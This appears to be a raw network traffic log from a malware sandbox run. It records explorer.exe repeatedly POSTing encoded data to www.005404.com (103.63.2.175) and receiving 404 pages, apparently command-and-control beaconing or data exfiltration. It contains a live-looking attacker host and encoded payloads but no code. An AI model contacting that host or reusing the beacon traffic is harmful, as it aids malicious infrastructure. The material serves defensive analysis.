76 6c 6b 36 73 47 31 30 46 43 76 5a 6c 79 41 63 49 4c 46 70 58 44 6c 74 47 32 37 45 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=DwjUP3e1xl1YVlY12VYjyPWH6qidmS0NwYWqWN98ssonXyOK4aunErMQnxMXSzyhsq1qUcoqMmCDW4lywgKQxwWnfrcLtTSd6ytaiP557pVO(zmMAGQeDwEaGekAHX7SAIyfQXTzpISq2AuKhI08Yul9NhpLXFUnKBnKZl71k-qewfMNqA7qIf7l99L_hPh0KQ(UbBOjPtzvZ4mBUHITh68rPhYN3RZxTm(V0xxCO5AVLcKyp3Jq9yE0SH5NCOQ_ai48VKmK24~naCP5KWURt5fCKQM-SEXj5r3KgprlUf(Ef6EZnpmfX7syHxYSPCW-QXFs68rGybhCrjrVjOKcIL33V5RZtP9rK1nPP2iIyaroBSXruMOjfBsVNGjCncna1rEjyEXCsGWGsmt68XcV0cN7f0LuPRbf8X5eQEikVHXU46D9mLJKH9t2QNouLFAo2WxofFGoO_7KE2As0fgX43ooJXIwtHpVP_Y2FlzqYIEvlk6sG10FCvZlyAcILFpXDltG27E.
Nov 21, 2022 19:21:42.239716053 CET	896	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Nov 2022 18:21:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"634bbb43-6cd" Content-Encoding: gzip Data Raw: 33 61 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 75 15 cb 6e dc 36 f0 9e af 60 59 d4 92 60 9b 92 d6 bb 89 bb 92 16 88 d3 06 08 10 b8 3d a4 a7 20 07 4a e2 4a 74 b8 a4 40 72 1f f2 62 bf a2 87 fe 42 cf 0d d0 63 3f 27 40 fe a2 43 49 eb 95 0d e7 a0 11 e7 3d c3 79 30 ad ed 4a 2c 5e a4 35 a3 e5 22 5d 31 4b 51 51 53 6d 98 cd f0 1f 1f de 5e 5e e3 70 91 5a 6e 05 5b 4c a3 29 ba 55 16 bd 55 6b 59 a6 61 4f 4c 4d a1 79 63 17 7c e9 4b ba e1 15 b5 4a 93 b5 61 fa 75 c5 a4 25 56 bd 57 05 15 ec bd da 32 fd 86 1a e6 07 84 cb 92 ed 7e 5b fa 38 a7 bc 5c e3 00 65 19 ba 8c 83 7d a9 8a f5 aa 53 72 ee 50 86 bf fe f7 e5 db 5f 7f 7f fb f3 df af ff 7c c1 87 34 1c 5c a5 82 cb cf 48 33 91 61 5e 28 89 91 6d 1b 06 e7 15 ad 58 b8 bb ec 69 b5 66 cb 0c d7 d6 36 f3 30 9c ce 48 3c 99 90 f8 ea 9a 4c 67 e1 12 e2 04 3d 02 00 2f 8e f1 3f 38 df 6a 6e 99 90 be e7 05 c9 86 6a 64 4c e6 a5 25 df 20 5e 66 d8 d4 6a 5b 08 25 99 a9 99 ac 76 9c 3a f7 c6 b6 02 fc d7 8c 57 b5 9d a3 38 8a 7e 4a d0 96 97 b6 3e 22 39 2d 3e 57 da 5d db 65 a1 84 d2 73 a4 ab dc 9f cc 66 17 e8 08 82 04 8d a4 1a 65 b8 e5 4a ce 11 97 70 a0 e2 f8 7f 24 a5 59 c3 28 78 7c 2a 03 59 f1 a5 a6 2b 86 e0 c6 94 80 eb aa 32 dc 32 83 d1 8a ea 8a cb 3e d2 2c 1a d0 2e 54 c0 50 a7 93 2b 5d 32 9d e1 08 f7 39 64 d8 25 74 42 a6 11 70 06 0b 03 cb e8 22 c3 67 3f c6 d1 34 01 18 bf 1c c1 09 9c 67 d7 00 a6 af 8e 60 d6 d1 ae 1c ea 24 a7 3f 3b 34 3a 82 11 2d 76 b4 4e c4 81 91 da ab 04 32 0c fb 14 e1 00 c5 81 32 ba 22 0c 9d 60 d9 ce 86 85 31 78 e1 9a 7b df 97 a2 2b cb 50 23 77 3e e4 aa 6c d1 77 98 89 da 30 bd 14 6a 3b af 79 59 32 e9 9a cf 39 58 78 09 db 50 e1 e3 c7 ed e2 7b f8 dc 98 73 0c 2d 83 83 c4 ea 76 0f f3 f3 4e 5a a6 9d f0 72 2d 0b 57 4c 3f d8 3b d6 83 6a c5 ec af 82 b9 8e bf 69 df 95 60 93 6f 5e 0b 81 03 d2 b9 22 25 37 8d a0 6d 86 25 f4 1b 3e 14 d4 16 b5 cf 82 fd 61 a9 b4 ef 3a 93 67 51 c2 d3 07 73 2e 1f 52 d4 5c 94 9a 49 22 a0 3f 6d 9d f0 f3 f3 de ab 53 b0 b4 92 50 e1 ec 79 95 8f fc 13 01 89 5b 90 e8 1a 7f d5 42 c7 7f 5f 94 97 09 cc bc 13 fa a1 9f c3 5f f8 26 c6 67 67 03 e5 b9 49 19 8d f8 a3 60 9d e7 67 73 1e 25 7d 38 5c 40 d5 82 11 e5 b4 0f 86 bd 30 be 68 97 40 de 9c c2 2f 34 4c 0a 1b ae db f7 7a 8d 61 c2 8b b5 fe 5d 2b ab 60 34 b3 2d 2c 27 b5 25 02 96 96 2b 19 69 06 06 81 5a 70 eb 7b 73 2f f8 18 7d 72 99 8f b5 b2 cc 73 9b c6 78 c1 3e 6f 88 1b 87 1e 87 d5 73 7f 4f f2 d2 58 b0 56 90 42 ad 42 b7 bb cc 3a 5f 71 1b 36 6b 53 93 3b e3 25 07 26 0c 7b a4 09 8a 1d f7 be a6 d2 7d 15 e9 76 65 67 e1 a4 d6 ad a7 53 8e a7 7e 32 37 ed 87 be 92 3e ee 53 c5 5d d8 86 34 14 9a c3 de aa 92 c1 1a 86 2d 6d 6f 18 b4 13 f3 f3 e6 c2 04 c9 21 f0 83 e4 e9 bd 8e 87 ea 8e 6e e8 60 10 75 53 df a5 0d d1 de 99 6e e9 1b 32 8b 89 a0 e1 24 9e be 8c 67 57 31 a4 e7 46 f5 b8 b8 c3 ee 95 79 91 ba ea c3 af 80 50 98 5e a4 75 fc f4 6d 01 4a 1a 0e 6c 78 9b 40 66 40 24 ac af dd 88 15 0e a6 c2 ee 19 fb 1f 05 e9 27 15 cd 06 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 3adun6`Y`= JJt@rbBc?'@CI=y0J,^5"]1KQQSm^^pZn[L)UUkYaOLMyc\|KJau%VW2~[8\e}SrP_\|4\H3a^(mXif60H<Lg=/?8jnjdL% ^fj[%v:W8~J>"9->W]esfeJp$Y(x\|*Y+22>,.TP+]29d%tBp"g?4g`$?;4:-vN22"`1x{+P#w>lw0j;yY29XxP{s-vNZr-WL?;ji`o^"%7m%>a:gQs.R\I"?mSPy[B__&ggI`gs%}8\@0h@/4Lza]+`4-,'%+iZp{s/}rsx>osOXVBB:_q6kS;%&{}vegS~27>S]4-mo!n`uSn2$gW1FyP^umJlx@f@$'0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.11.20	49854	103.63.2.175	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:21:44.255990028 CET	899	OUT	POST /nqhc/ HTTP/1.1 Host: www.005404.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.005404.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.005404.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 44 77 6a 55 50 33 65 31 78 6c 31 59 56 6c 59 31 32 56 59 6a 79 50 57 48 36 71 69 64 6d 53 30 4e 77 59 57 71 57 4e 39 38 73 73 67 6e 55 48 43 4b 71 72 75 6e 57 62 4d 51 76 52 4d 4b 53 7a 7a 35 73 71 64 31 55 63 31 64 4d 6c 32 44 57 70 31 79 7a 57 57 51 37 51 57 6d 51 4c 63 4a 6e 7a 54 65 36 79 70 30 69 50 74 50 36 59 68 4f 7e 30 43 4d 45 31 34 5a 63 77 46 66 47 65 6b 79 4e 33 37 73 41 49 32 50 51 57 76 7a 70 4c 71 71 31 57 71 4b 79 4f 38 38 52 65 6c 36 47 42 70 41 65 6c 56 66 4b 42 7a 34 5a 6c 36 4b 6b 5f 7e 65 77 64 45 4e 70 42 37 74 50 5f 37 6c 77 64 4c 2d 33 50 64 77 4b 51 6a 79 62 46 47 6a 50 74 4c 76 5a 59 6d 42 66 47 49 63 73 4b 38 74 4c 68 59 57 7a 52 56 35 54 6d 61 79 30 30 42 43 4f 70 45 56 4b 72 57 79 36 57 4a 71 6d 79 45 32 4e 58 35 65 58 2d 51 4b 61 68 41 65 56 4b 48 5f 32 34 61 6e 59 6d 62 35 4f 30 73 53 6b 35 66 41 54 51 4d 52 57 45 4c 52 35 72 48 57 67 70 71 2d 55 61 48 45 66 4b 55 5a 67 6f 6d 63 48 62 73 78 4b 52 59 39 64 43 61 43 51 58 78 30 36 38 6a 57 79 59 4e 43 72 44 72 56 6e 74 69 54 54 4c 33 30 5a 5a 52 78 69 76 38 72 4b 30 62 31 50 33 58 71 79 4c 33 6f 42 69 48 72 72 63 4f 6b 61 68 73 52 4c 32 6a 45 6a 63 6e 61 31 72 49 64 79 45 54 43 73 33 75 47 73 52 52 36 36 46 30 56 79 63 4e 48 66 30 4b 31 50 52 66 6b 38 58 77 39 51 45 54 42 56 45 6e 55 35 76 72 39 6f 71 4a 4a 58 39 74 7a 61 74 6f 31 50 46 45 5f 32 53 70 77 66 42 6d 43 4f 49 4c 4b 46 32 51 73 7e 5f 67 55 39 58 70 42 4f 58 49 71 70 48 6c 4a 50 37 34 48 46 68 36 79 59 4b 45 76 6e 78 36 36 44 6d 51 5f 65 50 64 6c 7e 67 51 6e 44 57 70 62 48 52 52 33 6c 4f 4e 6f 54 45 48 31 30 56 49 53 48 63 79 73 51 62 52 4b 66 30 62 44 78 71 69 49 6d 6c 42 6f 4f 76 36 65 72 58 47 33 50 4a 59 39 6f 54 33 45 62 79 6d 39 70 78 6f 5a 73 65 63 63 6b 75 59 34 68 78 47 53 44 65 74 5f 51 30 4e 6a 6a 62 6c 42 51 67 66 61 4b 33 55 6a 35 59 4f 47 65 50 62 48 4e 31 54 74 59 41 4f 38 6d 79 47 61 31 4d 58 4c 47 76 77 6a 68 55 33 42 36 59 7a 32 7e 47 71 4c 76 56 63 53 72 6c 78 6f 64 4a 6a 78 67 79 6e 43 6f 41 61 4a 68 71 43 55 64 62 30 6b 4b 66 7a 50 44 41 37 71 63 76 6d 31 52 65 6b 4e 75 64 50 77 30 52 74 61 44 33 4f 4a 66 53 31 54 46 48 79 53 67 52 52 56 32 77 6b 41 68 31 35 5f 74 36 55 46 68 31 41 6b 70 73 6a 50 66 33 44 77 7e 62 37 55 79 75 62 75 62 46 4e 39 77 4a 39 67 5a 6b 28 52 4a 4c 4c 65 6d 57 75 4a 31 64 30 4d 59 69 73 4e 44 31 6f 30 4d 68 64 45 41 71 5a 4f 6b 65 73 6b 30 4a 6d 79 58 71 79 50 75 51 37 37 50 46 78 6c 59 5a 72 7a 37 4d 67 4e 75 63 71 78 57 72 61 38 4a 51 52 73 45 4d 36 31 34 73 7e 4f 7a 52 79 5a 77 4e 4c 34 6d 72 58 4a 4b 39 66 79 73 43 49 33 77 52 7a 32 52 7a 7e 38 4d 36 45 45 7e 63 41 55 28 72 7e 51 57 62 53 69 4c 76 77 69 6a 4c 74 45 35 4a 37 50 4e 5f 4e 35 77 69 56 34 50 41 34 59 41 39 79 58 35 73 56 36 46 36 65 62 69 55 53 66 6e 31 6a 41 54 6d 6e 46 50 58 66 78 4e 4e 64 64 78 78 69 32 63 6f 65 47 73 65 64 49 4d 48 64 59 76 4a 4c 70 53 49 35 39 49 6a 69 38 68 38 56 75 54 64 35 36 42 58 34 44 35 48 4a 68 78 46 75 6e 79 54 31 6a 57 76 78 79 42 6c 63 4f 49 52 34 45 69 54 56 5f 6e 49 28 31 30 5a 6e 48 75 2d 49 50 72 36 5a 31 6d 59 44 71 4a 56 50 2d 71 6b 49 44 72 52 59 4f 31 49 57 53 34 50 61 64 65 7a 4b 50 5a 45 67 58 52 50 57 33 69 77 4f 5a 33 52 37 55 7e 77 35 5f 72 5a 78 71 63 74 4a 67 41 6a 41 79 79 54 78 6a 75 58 43 6e 50 67 47 75 6c 7a 4f 65 76 5a 70 49 74 67 72 39 30 42 70 2d 47 6e 72 6d 63 30 58 77 4d 67 50 69 28 77 43 31 6c 78 67 32 6b 6c 61 78 71 77 76 4a 38 2d 72 41 6d 4d 53 41 4d 30 6d 71 44 62 4e 6b 53 37 55 4d 32 6b 75 78 6e 44 50 32 78 58 69 4c 38 4d 7e 7a 50 41 7e 56 54 70 53 72 67 54 49 66 58 65 39 47 71 57 6b 39 4a 6e 77 42 56 6d 4e 5a 7e 38 38 4a 6c 67 7e 52 47 7a 6f 69 6e 74 5a 32 7e 4c 45 4d 42 63 7a 4f 68 75 77 7a 68 34 7a 67 4a 78 55 36 38 42 33 51 4b 4a 48 35 65 72 48 56 59 2d 48 4e 35 75 4b 4f 28 57 75 43 4b 70 70 45 41 32 48 5a 7e 47 59 55 38 36 6a 72 73 4d 68 42 59 5a 78 78 6c 68 53 4e 71 63 49 6d 53 30 34 7a 46 6d 35 48 7e 53 31 50 76 41 69 70 62 44 4f 69 52 65 59 71 46 32 41 76 74 30 76 31 61 31 4c 79 33 69 58 55 50 54 63 45 34 67 28 72 6f 56 44 6d 54 4c 76 38 4f 6f 65 47 38 7a 30 38 61 68 44 2d 75 Data Ascii: r4txB=DwjUP3e1xl1YVlY12VYjyPWH6qidmS0NwYWqWN98ssgnUHCKqrunWbMQvRMKSzz5sqd1Uc1dMl2DWp1yzWWQ7QWmQLcJnzTe6yp0iPtP6YhO~0CME14ZcwFfGekyN37sAI2PQWvzpLqq1WqKyO88Rel6GBpAelVfKBz4Zl6Kk_~ewdENpB7tP_7lwdL-3PdwKQjybFGjPtLvZYmBfGIcsK8tLhYWzRV5Tmay00BCOpEVKrWy6WJqmyE2NX5eX-QKahAeVKH_24anYmb5O0sSk5fATQMRWELR5rHWgpq-UaHEfKUZgomcHbsxKRY9dCaCQXx068jWyYNCrDrVntiTTL30ZZRxiv8rK0b1P3XqyL3oBiHrrcOkahsRL2jEjcna1rIdyETCs3uGsRR66F0VycNHf0K1PRfk8Xw9QETBVEnU5vr9oqJJX9tzato1PFE_2SpwfBmCOILKF2Qs~_gU9XpBOXIqpHlJP74HFh6yYKEvnx66DmQ_ePdl~gQnDWpbHRR3lONoTEH10VISHcysQbRKf0bDxqiImlBoOv6erXG3PJY9oT3Ebym9pxoZsecckuY4hxGSDet_Q0NjjblBQgfaK3Uj5YOGePbHN1TtYAO8myGa1MXLGvwjhU3B6Yz2~GqLvVcSrlxodJjxgynCoAaJhqCUdb0kKfzPDA7qcvm1RekNudPw0RtaD3OJfS1TFHySgRRV2wkAh15_t6UFh1AkpsjPf3Dw~b7UyububFN9wJ9gZk(RJLLemWuJ1d0MYisND1o0MhdEAqZOkesk0JmyXqyPuQ77PFxlYZrz7MgNucqxWra8JQRsEM614s~OzRyZwNL4mrXJK9fysCI3wRz2Rz~8M6EE~cAU(r~QWbSiLvwijLtE5J7PN_N5wiV4PA4YA9yX5sV6F6ebiUSfn1jATmnFPXfxNNddxxi2coeGsedIMHdYvJLpSI59Iji8h8VuTd56BX4D5HJhxFunyT1jWvxyBlcOIR4EiTV_nI(10ZnHu-IPr6Z1mYDqJVP-qkIDrRYO1IWS4PadezKPZEgXRPW3iwOZ3R7U~w5_rZxqctJgAjAyyTxjuXCnPgGulzOevZpItgr90Bp-Gnrmc0XwMgPi(wC1lxg2klaxqwvJ8-rAmMSAM0mqDbNkS7UM2kuxnDP2xXiL8M~zPA~VTpSrgTIfXe9GqWk9JnwBVmNZ~88Jlg~RGzointZ2~LEMBczOhuwzh4zgJxU68B3QKJH5erHVY-HN5uKO(WuCKppEA2HZ~GYU86jrsMhBYZxxlhSNqcImS04zFm5H~S1PvAipbDOiReYqF2Avt0v1a1Ly3iXUPTcE4g(roVDmTLv8OoeG8z08ahD-ulBYkXPH8HOJ84rBA6Nb9ppVQKrRev4_TJUrASCXzQrjW4wNg0auhj~sB837rFg2pyO5CNF4orTm1o78lmmmuyCgKQHkPUznU_CtbXXFnbf9C3UUkqOZhXDqh9gknZIsYIGBfRvUdUMQaXp7JW2J5McANgXd7Dqxjjf3UCsALnW0jFRjC3BOEhfzrT~_hfRvTmEqdtYvW6MzJ6LVoG(0lK5IHlBNeUKpTOFZPFfNIgZypEY7plKXW_cxJReXPOxdJz~Arcxs5VJ6vX6f5b3CcAW3lpEBw2D5NxyBnI(RmgwJiSwtCKPVj3RqrwrErN0oCwCDEPly4Iv_rm9ZL1C85Zh0XECC6GkUFVshHhirjdHtGxtIbW3d1kIAvch24rEPKfkEEObevsKQfPh3nOvM(lJwqgm1ERGqVyQEB1iPEDTGups9shhYCJOaZwAJf9DO9FEXKdycl6ZeI0uggq13tDARHeUf6_itO1J2AWOPzFLutN3ODtbE~K4kmmZdVmI_ybyXjSmOXLzbsBLTo59RvmsvCqG-p0n_81MbLjPBCgE7~Ta3wVSov-fmeu(T~vcUed~ZCqDwA4Emdgg6R-i1OoMqnLJIFIAgjaqgylUKWBLT4FgLgiHqCZlQCuNjmHAGdeQj9Tz8EzCfOhT8LjStT_ZiwKQRN0bpwJezmWz3xrVNxshjHucJ(BngPIezn_5apL2l1h5Sujbq0OI5nbxzgF18J-hjPscKhE7_xZhc0wapnl4SLvBT2ewMZ3sCyZ0eMSDkiZsxGckjVc2OME40bjcmJdzAJCYLT_5RfJRnLbqmLOBY0KAAup
Nov 21, 2022 19:21:44.256022930 CET	904	OUT	Data Raw: 59 43 59 6a 68 4d 4e 4b 53 68 35 4d 32 2d 78 52 4f 33 6f 68 53 37 65 62 73 44 72 78 35 7a 66 30 6e 6f 6a 44 53 43 28 68 53 63 4f 4a 52 6e 47 52 75 2d 5a 48 72 31 42 56 4a 32 6b 66 73 6d 58 5a 43 74 36 76 49 78 4b 70 68 55 34 73 59 66 44 52 43 67 Data Ascii: YCYjhMNKSh5M2-xRO3ohS7ebsDrx5zf0nojDSC(hScOJRnGRu-ZHr1BVJ2kfsmXZCt6vIxKphU4sYfDRCgwWQSroL4(W48nz37HYiODXYmjKp1VFOGgkLSZ_rqOM(iN1XQNpImRLSfeEiD(CHCtqAK~w(3U_lyYjgAi3r0KOrzhTBg4fuP78VN40eTi6gXV3KLPBZDlf6EGHt6p6CkwbFmf1T7k58sJ6SUa15JsoBKlXtzi1I1j
Nov 21, 2022 19:21:44.256071091 CET	909	OUT	Data Raw: 4e 36 57 31 37 74 62 72 63 6c 43 37 5a 30 6d 74 50 45 76 4e 54 51 33 49 48 37 4f 47 4b 4b 4b 36 52 68 4d 4e 62 64 46 45 66 64 41 78 76 2d 73 6a 43 42 68 74 4a 39 4b 61 57 2d 63 7a 30 76 75 43 52 6e 34 45 66 41 4e 57 55 55 4a 41 51 52 4e 56 61 76 Data Ascii: N6W17tbrclC7Z0mtPEvNTQ3IH7OGKKK6RhMNbdFEfdAxv-sjCBhtJ9KaW-cz0vuCRn4EfANWUUJAQRNVavcjMBF5uLZmT2ZNJYc3xhUvcxhZZ8tprDWlC9GYRRbPdkwF1kPo~eNUSocNV55cofN1lG7R9ZVpm5p8T5qi7MTnw6Z_GqqFDxCAXP8W84pqd7kSCzVP39kN2SVb7bUvcVNTcuRfiHqPwC8-QeAYBE0Ps-ftb2L73XT
Nov 21, 2022 19:21:44.431605101 CET	912	OUT	Data Raw: 4a 66 52 6d 7a 39 71 4f 76 75 35 61 37 30 73 54 73 6d 7a 72 65 77 41 70 4e 45 39 77 30 4c 5a 56 43 78 32 47 66 39 28 38 54 70 54 4d 54 70 36 38 64 48 47 41 69 2d 32 39 51 67 33 4e 7a 4a 6e 4e 32 50 6b 52 43 4a 47 44 38 70 28 47 61 4a 37 74 55 57 Data Ascii: JfRmz9qOvu5a70sTsmzrewApNE9w0LZVCx2Gf9(8TpTMTp68dHGAi-29Qg3NzJnN2PkRCJGD8p(GaJ7tUWgEvEJZ91I0EOhDxL7l(9RuEsq-2djGg0U2kFeOzxjMIQrQRV5B9fFbSdho1fJNbmbln0er48IqaW4UKb3z4PrbjOqFp9h33l3QQse84uEZO1dm0xJ4tJHjeWVdsxzlxJEg5LRCM2I2CIIdPEBThNkHIwp0nj1sh51
Nov 21, 2022 19:21:44.431735992 CET	914	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Nov 2022 18:21:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"634bbb43-6cd" Content-Encoding: gzip Data Raw: 33 61 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 75 15 cb 6e dc 36 f0 9e af 60 59 d4 92 60 9b 92 d6 bb 89 bb 92 16 88 d3 06 08 10 b8 3d a4 a7 20 07 4a e2 4a 74 b8 a4 40 72 1f f2 62 bf a2 87 fe 42 cf 0d d0 63 3f 27 40 fe a2 43 49 eb 95 0d e7 a0 11 e7 3d c3 79 30 ad ed 4a 2c 5e a4 35 a3 e5 22 5d 31 4b 51 51 53 6d 98 cd f0 1f 1f de 5e 5e e3 70 91 5a 6e 05 5b 4c a3 29 ba 55 16 bd 55 6b 59 a6 61 4f 4c 4d a1 79 63 17 7c e9 4b ba e1 15 b5 4a 93 b5 61 fa 75 c5 a4 25 56 bd 57 05 15 ec bd da 32 fd 86 1a e6 07 84 cb 92 ed 7e 5b fa 38 a7 bc 5c e3 00 65 19 ba 8c 83 7d a9 8a f5 aa 53 72 ee 50 86 bf fe f7 e5 db 5f 7f 7f fb f3 df af ff 7c c1 87 34 1c 5c a5 82 cb cf 48 33 91 61 5e 28 89 91 6d 1b 06 e7 15 ad 58 b8 bb ec 69 b5 66 cb 0c d7 d6 36 f3 30 9c ce 48 3c 99 90 f8 ea 9a 4c 67 e1 12 e2 04 3d 02 00 2f 8e f1 3f 38 df 6a 6e 99 90 be e7 05 c9 86 6a 64 4c e6 a5 25 df 20 5e 66 d8 d4 6a 5b 08 25 99 a9 99 ac 76 9c 3a f7 c6 b6 02 fc d7 8c 57 b5 9d a3 38 8a 7e 4a d0 96 97 b6 3e 22 39 2d 3e 57 da 5d db 65 a1 84 d2 73 a4 ab dc 9f cc 66 17 e8 08 82 04 8d a4 1a 65 b8 e5 4a ce 11 97 70 a0 e2 f8 7f 24 a5 59 c3 28 78 7c 2a 03 59 f1 a5 a6 2b 86 e0 c6 94 80 eb aa 32 dc 32 83 d1 8a ea 8a cb 3e d2 2c 1a d0 2e 54 c0 50 a7 93 2b 5d 32 9d e1 08 f7 39 64 d8 25 74 42 a6 11 70 06 0b 03 cb e8 22 c3 67 3f c6 d1 34 01 18 bf 1c c1 09 9c 67 d7 00 a6 af 8e 60 d6 d1 ae 1c ea 24 a7 3f 3b 34 3a 82 11 2d 76 b4 4e c4 81 91 da ab 04 32 0c fb 14 e1 00 c5 81 32 ba 22 0c 9d 60 d9 ce 86 85 31 78 e1 9a 7b df 97 a2 2b cb 50 23 77 3e e4 aa 6c d1 77 98 89 da 30 bd 14 6a 3b af 79 59 32 e9 9a cf 39 58 78 09 db 50 e1 e3 c7 ed e2 7b f8 dc 98 73 0c 2d 83 83 c4 ea 76 0f f3 f3 4e 5a a6 9d f0 72 2d 0b 57 4c 3f d8 3b d6 83 6a c5 ec af 82 b9 8e bf 69 df 95 60 93 6f 5e 0b 81 03 d2 b9 22 25 37 8d a0 6d 86 25 f4 1b 3e 14 d4 16 b5 cf 82 fd 61 a9 b4 ef 3a 93 67 51 c2 d3 07 73 2e 1f 52 d4 5c 94 9a 49 22 a0 3f 6d 9d f0 f3 f3 de ab 53 b0 b4 92 50 e1 ec 79 95 8f fc 13 01 89 5b 90 e8 1a 7f d5 42 c7 7f 5f 94 97 09 cc bc 13 fa a1 9f c3 5f f8 26 c6 67 67 03 e5 b9 49 19 8d f8 a3 60 9d e7 67 73 1e 25 7d 38 5c 40 d5 82 11 e5 b4 0f 86 bd 30 be 68 97 40 de 9c c2 2f 34 4c 0a 1b ae db f7 7a 8d 61 c2 8b b5 fe 5d 2b ab 60 34 b3 2d 2c 27 b5 25 02 96 96 2b 19 69 06 06 81 5a 70 eb 7b 73 2f f8 18 7d 72 99 8f b5 b2 cc 73 9b c6 78 c1 3e 6f 88 1b 87 1e 87 d5 73 7f 4f f2 d2 58 b0 56 90 42 ad 42 b7 bb cc 3a 5f 71 1b 36 6b 53 93 3b e3 25 07 26 0c 7b a4 09 8a 1d f7 be a6 d2 7d 15 e9 76 65 67 e1 a4 d6 ad a7 53 8e a7 7e 32 37 ed 87 be 92 3e ee 53 c5 5d d8 86 34 14 9a c3 de aa 92 c1 1a 86 2d 6d 6f 18 b4 13 f3 f3 e6 c2 04 c9 21 f0 83 e4 e9 bd 8e 87 ea 8e 6e e8 60 10 75 53 df a5 0d d1 de 99 6e e9 1b 32 8b 89 a0 e1 24 9e be 8c 67 57 31 a4 e7 46 f5 b8 b8 c3 ee 95 79 91 ba ea c3 af 80 50 98 5e a4 75 fc f4 6d 01 4a 1a 0e 6c 78 9b 40 66 40 24 ac af dd 88 15 0e a6 c2 ee 19 fb 1f 05 e9 27 15 cd 06 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 3adun6`Y`= JJt@rbBc?'@CI=y0J,^5"]1KQQSm^^pZn[L)UUkYaOLMyc\|KJau%VW2~[8\e}SrP_\|4\H3a^(mXif60H<Lg=/?8jnjdL% ^fj[%v:W8~J>"9->W]esfeJp$Y(x\|*Y+22>,.TP+]29d%tBp"g?4g`$?;4:-vN22"`1x{+P#w>lw0j;yY29XxP{s-vNZr-WL?;ji`o^"%7m%>a:gQs.R\I"?mSPy[B__&ggI`gs%}8\@0h@/4Lza]+`4-,'%+iZp{s/}rsx>osOXVBB:_q6kS;%&{}vegS~27>S]4-mo!n`uSn2$gW1FyP^umJlx@f@$'0
Nov 21, 2022 19:21:44.431806087 CET	919	OUT	Data Raw: 66 4b 5a 70 66 41 4e 72 76 68 31 51 73 70 70 39 6d 79 79 43 4a 68 56 75 36 41 54 4d 31 55 62 43 52 75 6f 6e 57 7a 56 74 76 58 52 59 44 57 37 45 61 41 61 59 51 38 6b 31 4e 4f 47 54 73 45 76 74 6e 57 4f 4a 79 54 62 57 6e 50 57 49 59 66 31 6e 6d 74 Data Ascii: fKZpfANrvh1Qspp9myyCJhVu6ATM1UbCRuonWzVtvXRYDW7EaAaYQ8k1NOGTsEvtnWOJyTbWnPWIYf1nmtOxMhdGX_ljBaAphYWozMsmuFxACLA7RICJdbWV(X(RFis7RFiS~Znct11idUPfKqbGYn86K2H_Pfk9zTnF5p8lm2MZ4DEQAqLgRS(Q~vlssMRwUxeMLyrtrRTTr8hklN0DUmBlVOVXH98nvjtCEhGIzaHsPR7-kKI
Nov 21, 2022 19:21:44.431952000 CET	935	OUT	Data Raw: 65 58 66 37 4c 2d 68 30 51 4e 69 38 65 39 64 31 37 69 4f 44 59 75 62 43 45 47 6f 48 57 4d 68 39 79 57 72 50 43 64 36 67 77 70 4c 71 62 48 38 30 7e 47 6b 33 65 6c 30 31 34 55 59 67 57 38 37 6a 38 43 54 76 56 4a 56 59 54 62 71 72 79 4a 47 6e 32 5f Data Ascii: eXf7L-h0QNi8e9d17iODYubCEGoHWMh9yWrPCd6gwpLqbH80~Gk3el014UYgW87j8CTvVJVYTbqryJGn2_Y25GQLaSNQ~KqCNIekoafHBvprq5Cdcj7ut1soVAChyM2NmWwIxjypToOpziTOwWfRpDiTKZlbu6vEbc2sO_vb6ncM5wweyB5TaWd7m7UWUEIujMdf7nrDty8B8vd6tilMVIyI2OdN4osWK-avzs3fagqYCpeLAzK
Nov 21, 2022 19:21:44.432089090 CET	936	OUT	Data Raw: 5a 46 73 67 39 6a 35 55 6f 6b 39 7a 73 39 45 72 49 74 61 70 65 44 7a 4d 4c 46 65 71 39 48 6d 73 7e 56 31 45 56 77 38 63 58 68 66 39 54 33 30 53 30 6f 39 39 4e 67 31 42 72 33 37 54 48 30 36 79 73 61 62 4b 55 32 6c 69 4d 63 6e 61 68 49 75 6b 53 64 Data Ascii: ZFsg9j5Uok9zs9ErItapeDzMLFeq9Hms~V1EVw8cXhf9T30S0o99Ng1Br37TH06ysabKU2liMcnahIukSdoaiPmiMU2m18jgta3LxcPiurtfQ2c47RJVNgaTlUrykgJBNhUELU9hO-dpWbJpaCrepDoOE4mzkdjW1dnSxKiaj1ViAypuwtqmncEr4YAGm5qTvh5TriTcHM6WdLxhqLv1GsCsImKVAuG5OzchJhSGNDwJ~ykfHYk
Nov 21, 2022 19:21:44.607988119 CET	939	OUT	Data Raw: 65 69 49 30 57 47 75 77 54 65 6e 6b 72 2d 66 52 6a 70 4b 46 41 56 6e 42 4e 36 37 77 6f 71 62 35 61 67 37 75 53 30 7a 69 6c 52 4e 50 5a 58 65 59 4b 63 6d 38 57 30 6b 50 34 74 4c 72 48 65 6e 64 72 44 47 73 39 69 6d 35 30 54 4b 69 33 4c 54 6d 63 63 Data Ascii: eiI0WGuwTenkr-fRjpKFAVnBN67woqb5ag7uS0zilRNPZXeYKcm8W0kP4tLrHendrDGs9im50TKi3LTmcc1GEdzjKytr(tl2RAUPkgo1BVuFi1pdz1dRC2xEpd6vK5V_uzXIhOz2RpK10-ilv3UyMcmGomrfVR6dlG4GjnnMXrgY(OOSMJvk(Gbq2GD711g4LDRjygYtOVbd8tUYvAxUQG3XEaqIadyXq6Hu7etN(qAzetF_VnD
